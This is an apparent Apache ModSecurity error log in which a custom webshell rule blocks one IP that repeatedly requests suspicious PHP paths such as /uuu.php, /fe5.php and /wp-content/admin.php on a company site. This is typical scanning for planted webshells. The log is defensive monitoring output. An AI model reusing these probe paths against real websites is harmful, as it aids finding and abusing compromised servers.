[Mon Apr 06 20:04:56.566673 2026] [:error] [pid 9442:tid 9446] [client 51.103.130.249:63887] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/19.php"] [unique_id "adOhaEPsNnAJTnmz6sbKGgAAAQI"]
[Mon Apr 06 20:04:57.116409 2026] [:error] [pid 9442:tid 9464] [client 51.103.130.249:63872] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/19.php"] [unique_id "adOhaUPsNnAJTnmz6sbKHQAAARQ"]
[Mon Apr 06 20:04:57.762321 2026] [:error] [pid 9442:tid 9447] [client 51.103.130.249:63883] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/19.php"] [unique_id "adOhaUPsNnAJTnmz6sbKJAAAAQM"]
[Mon Apr 06 20:04:58.323903 2026] [:error] [pid 1827:tid 1846] [client 51.103.130.249:65245] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fe5.php"] [unique_id "adOhauVeb6S_DnjZ2xEPCwAAAhE"]
[Mon Apr 06 20:04:59.032802 2026] [:error] [pid 9442:tid 9462] [client 51.103.130.249:64384] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fe5.php"] [unique_id "adOha0PsNnAJTnmz6sbKMAAAARI"]
[Mon Apr 06 20:04:59.603915 2026] [:error] [pid 35687:tid 35738] [client 51.103.130.249:63064] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fe5.php"] [unique_id "adOha53LtDozV0i8BitnPQAAAE8"]
[Mon Apr 06 20:05:00.201070 2026] [:error] [pid 38562:tid 38574] [client 51.103.130.249:64327] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fe5.php"] [unique_id "adOhbKeD6Ohe6wzRuy6EKwAAAUk"]
[Mon Apr 06 20:05:00.754738 2026] [:error] [pid 10280:tid 10291] [client 51.103.130.249:63054] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file61.php"] [unique_id "adOhbF8QUJkf8g-BFfP1GQAAAcg"]
[Mon Apr 06 20:05:01.296077 2026] [:error] [pid 35687:tid 35725] [client 51.103.130.249:63837] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file61.php"] [unique_id "adOhbZ3LtDozV0i8BitnQAAAAEI"]
[Mon Apr 06 20:05:01.864691 2026] [:error] [pid 35686:tid 35696] [client 51.103.130.249:61337] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file61.php"] [unique_id "adOhbcMKdea6oORd2fzUOwAAAAA"]
[Mon Apr 06 20:05:02.398440 2026] [:error] [pid 9442:tid 9451] [client 51.103.130.249:65285] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file61.php"] [unique_id "adOhbkPsNnAJTnmz6sbKSQAAAQc"]
[Mon Apr 06 20:05:03.025386 2026] [:error] [pid 35688:tid 35751] [client 51.103.130.249:64369] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuu.php"] [unique_id "adOhb-Z85qg4jLsRpQyoPAAAAIE"]
[Mon Apr 06 20:05:03.693502 2026] [:error] [pid 1827:tid 1835] [client 51.103.130.249:64349] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuu.php"] [unique_id "adOhb-Veb6S_DnjZ2xEPDAAAAgY"]
[Mon Apr 06 20:05:04.409691 2026] [:error] [pid 9442:tid 9453] [client 51.103.130.249:64404] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuu.php"] [unique_id "adOhcEPsNnAJTnmz6sbKUgAAAQk"]
[Mon Apr 06 20:05:05.071428 2026] [:error] [pid 9442:tid 9459] [client 51.103.130.249:65316] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/uuu.php"] [unique_id "adOhcUPsNnAJTnmz6sbKWwAAAQ8"]
[Mon Apr 06 20:05:05.840423 2026] [:error] [pid 10280:tid 10303] [client 51.103.130.249:63933] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sf.php"] [unique_id "adOhcV8QUJkf8g-BFfP1HQAAAdQ"]
[Mon Apr 06 20:05:06.378450 2026] [:error] [pid 9442:tid 9459] [client 51.103.130.249:63851] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sf.php"] [unique_id "adOhckPsNnAJTnmz6sbKZQAAAQ8"]
[Mon Apr 06 20:05:07.122106 2026] [:error] [pid 9442:tid 9445] [client 51.103.130.249:64433] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sf.php"] [unique_id "adOhc0PsNnAJTnmz6sbKbgAAAQE"]
[Mon Apr 06 20:05:07.690782 2026] [:error] [pid 35688:tid 35752] [client 51.103.130.249:65274] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sf.php"] [unique_id "adOhc-Z85qg4jLsRpQyoSwAAAII"]
[Mon Apr 06 20:05:08.264882 2026] [:error] [pid 35688:tid 35758] [client 51.103.130.249:65304] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pxfile.php"] [unique_id "adOhdOZ85qg4jLsRpQyoUQAAAIg"]
[Mon Apr 06 20:05:08.865212 2026] [:error] [pid 9413:tid 9417] [client 51.103.130.249:64347] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pxfile.php"] [unique_id "adOhdHllvEK3chn01wHB3wAAAYI"]
[Mon Apr 06 20:05:09.353465 2026] [:error] [pid 38562:tid 38589] [client 51.103.130.249:65284] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pxfile.php"] [unique_id "adOhdaeD6Ohe6wzRuy6EMgAAAVg"]
[Mon Apr 06 20:05:10.044977 2026] [:error] [pid 10280:tid 10284] [client 51.103.130.249:64415] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pxfile.php"] [unique_id "adOhdl8QUJkf8g-BFfP1JwAAAcE"]
[Mon Apr 06 20:05:10.604528 2026] [:error] [pid 9442:tid 9458] [client 51.103.130.249:64350] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no1.php"] [unique_id "adOhdkPsNnAJTnmz6sbKewAAAQ4"]
[Mon Apr 06 20:05:11.263414 2026] [:error] [pid 1827:tid 1852] [client 51.103.130.249:63142] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no1.php"] [unique_id "adOhd-Veb6S_DnjZ2xEPEAAAAhc"]
[Mon Apr 06 20:05:11.815765 2026] [:error] [pid 9413:tid 9439] [client 51.103.130.249:63104] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no1.php"] [unique_id "adOhd3llvEK3chn01wHB4wAAAZg"]
[Mon Apr 06 20:05:12.364057 2026] [:error] [pid 35688:tid 35759] [client 51.103.130.249:63140] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no1.php"] [unique_id "adOheOZ85qg4jLsRpQyoWAAAAIk"]
[Mon Apr 06 20:05:12.928882 2026] [:error] [pid 9413:tid 9428] [client 51.103.130.249:64336] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w2025.php"] [unique_id "adOheHllvEK3chn01wHB5wAAAY0"]
[Mon Apr 06 20:05:13.576232 2026] [:error] [pid 9442:tid 9467] [client 51.103.130.249:64331] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w2025.php"] [unique_id "adOheUPsNnAJTnmz6sbKfQAAARc"]
[Mon Apr 06 20:05:14.081921 2026] [:error] [pid 35786:tid 35798] [client 51.103.130.249:64428] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w2025.php"] [unique_id "adOhemgkfCKTaLhwaKQbAQAAAMU"]
[Mon Apr 06 20:05:14.702251 2026] [:error] [pid 38562:tid 38586] [client 51.103.130.249:64389] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w2025.php"] [unique_id "adOheqeD6Ohe6wzRuy6EPAAAAVU"]
[Mon Apr 06 20:05:15.342635 2026] [:error] [pid 9413:tid 9427] [client 51.103.130.249:63113] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/swallowable.php"] [unique_id "adOhe3llvEK3chn01wHB7wAAAYw"]
[Mon Apr 06 20:05:16.027402 2026] [:error] [pid 35786:tid 35805] [client 51.103.130.249:63911] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/swallowable.php"] [unique_id "adOhfGgkfCKTaLhwaKQbBAAAAMw"]
[Mon Apr 06 20:05:16.751681 2026] [:error] [pid 35688:tid 35755] [client 51.103.130.249:64386] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/swallowable.php"] [unique_id "adOhfOZ85qg4jLsRpQyoYQAAAIU"]
[Mon Apr 06 20:05:17.299855 2026] [:error] [pid 35688:tid 35759] [client 51.103.130.249:64340] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/swallowable.php"] [unique_id "adOhfeZ85qg4jLsRpQyoZgAAAIk"]
[Mon Apr 06 20:05:17.860758 2026] [:error] [pid 9442:tid 9457] [client 51.103.130.249:64351] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fvvff.php"] [unique_id "adOhfUPsNnAJTnmz6sbKhQAAAQ0"]
[Mon Apr 06 20:05:18.370222 2026] [:error] [pid 35786:tid 35808] [client 51.103.130.249:65307] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fvvff.php"] [unique_id "adOhfmgkfCKTaLhwaKQbBgAAAM8"]
[Mon Apr 06 20:05:19.128253 2026] [:error] [pid 35688:tid 35760] [client 51.103.130.249:64438] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fvvff.php"] [unique_id "adOhf-Z85qg4jLsRpQyoaQAAAIo"]
[Mon Apr 06 20:05:19.750900 2026] [:error] [pid 35686:tid 35714] [client 51.103.130.249:63109] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fvvff.php"] [unique_id "adOhf8MKdea6oORd2fzURQAAABI"]
[Mon Apr 06 20:05:20.432471 2026] [:error] [pid 9413:tid 9418] [client 51.103.130.249:61777] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a2.php"] [unique_id "adOhgHllvEK3chn01wHB_wAAAYM"]
[Mon Apr 06 20:05:21.181099 2026] [:error] [pid 35688:tid 35757] [client 51.103.130.249:65332] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a2.php"] [unique_id "adOhgeZ85qg4jLsRpQyoawAAAIc"]
[Mon Apr 06 20:05:21.875061 2026] [:error] [pid 10280:tid 10306] [client 51.103.130.249:63892] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a2.php"] [unique_id "adOhgV8QUJkf8g-BFfP1PQAAAdc"]
[Mon Apr 06 20:05:22.662158 2026] [:error] [pid 9442:tid 9455] [client 51.103.130.249:64395] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a2.php"] [unique_id "adOhgkPsNnAJTnmz6sbKogAAAQs"]
[Mon Apr 06 20:05:23.336928 2026] [:error] [pid 9442:tid 9468] [client 51.103.130.249:64359] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "adOhg0PsNnAJTnmz6sbKpgAAARg"]
[Mon Apr 06 20:05:24.114787 2026] [:error] [pid 9442:tid 9457] [client 51.103.130.249:64376] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "adOhhEPsNnAJTnmz6sbKrwAAAQ0"]
[Mon Apr 06 20:05:24.957503 2026] [:error] [pid 35688:tid 35762] [client 51.103.130.249:63885] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "adOhhOZ85qg4jLsRpQyocwAAAIw"]
[Mon Apr 06 20:05:25.667174 2026] [:error] [pid 9442:tid 9454] [client 51.103.130.249:64353] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "adOhhUPsNnAJTnmz6sbKuAAAAQo"]
[Mon Apr 06 20:05:26.379321 2026] [:error] [pid 35688:tid 35758] [client 51.103.130.249:65252] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "adOhhuZ85qg4jLsRpQyodAAAAIg"]
[Mon Apr 06 20:05:27.136144 2026] [:error] [pid 35688:tid 35760] [client 51.103.130.249:64323] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "adOhh-Z85qg4jLsRpQyodgAAAIo"]
[Mon Apr 06 20:05:28.203371 2026] [:error] [pid 10280:tid 10295] [client 51.103.130.249:63889] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "adOhiF8QUJkf8g-BFfP1UwAAAcw"]
[Mon Apr 06 20:05:29.117144 2026] [:error] [pid 9442:tid 9452] [client 51.103.130.249:64442] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "adOhiUPsNnAJTnmz6sbK0AAAAQg"]
[Mon Apr 06 20:05:30.321267 2026] [:error] [pid 9442:tid 9466] [client 51.103.130.249:65218] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "adOhikPsNnAJTnmz6sbK2QAAARY"]
[Mon Apr 06 20:05:31.111295 2026] [:error] [pid 9442:tid 9454] [client 51.103.130.249:64325] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "adOhi0PsNnAJTnmz6sbK3gAAAQo"]
[Mon Apr 06 20:05:32.099297 2026] [:error] [pid 9413:tid 9418] [client 51.103.130.249:65317] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "adOhjHllvEK3chn01wHCBgAAAYM"]
[Mon Apr 06 20:05:32.814130 2026] [:error] [pid 38562:tid 38587] [client 51.103.130.249:65329] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "adOhjKeD6Ohe6wzRuy6EXwAAAVY"]
[Mon Apr 06 20:05:33.805008 2026] [:error] [pid 35688:tid 35750] [client 51.103.130.249:64378] [client 51.103.130.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/66.php"] [unique_id "adOhjeZ85qg4jLsRpQyoigAAAIA"]
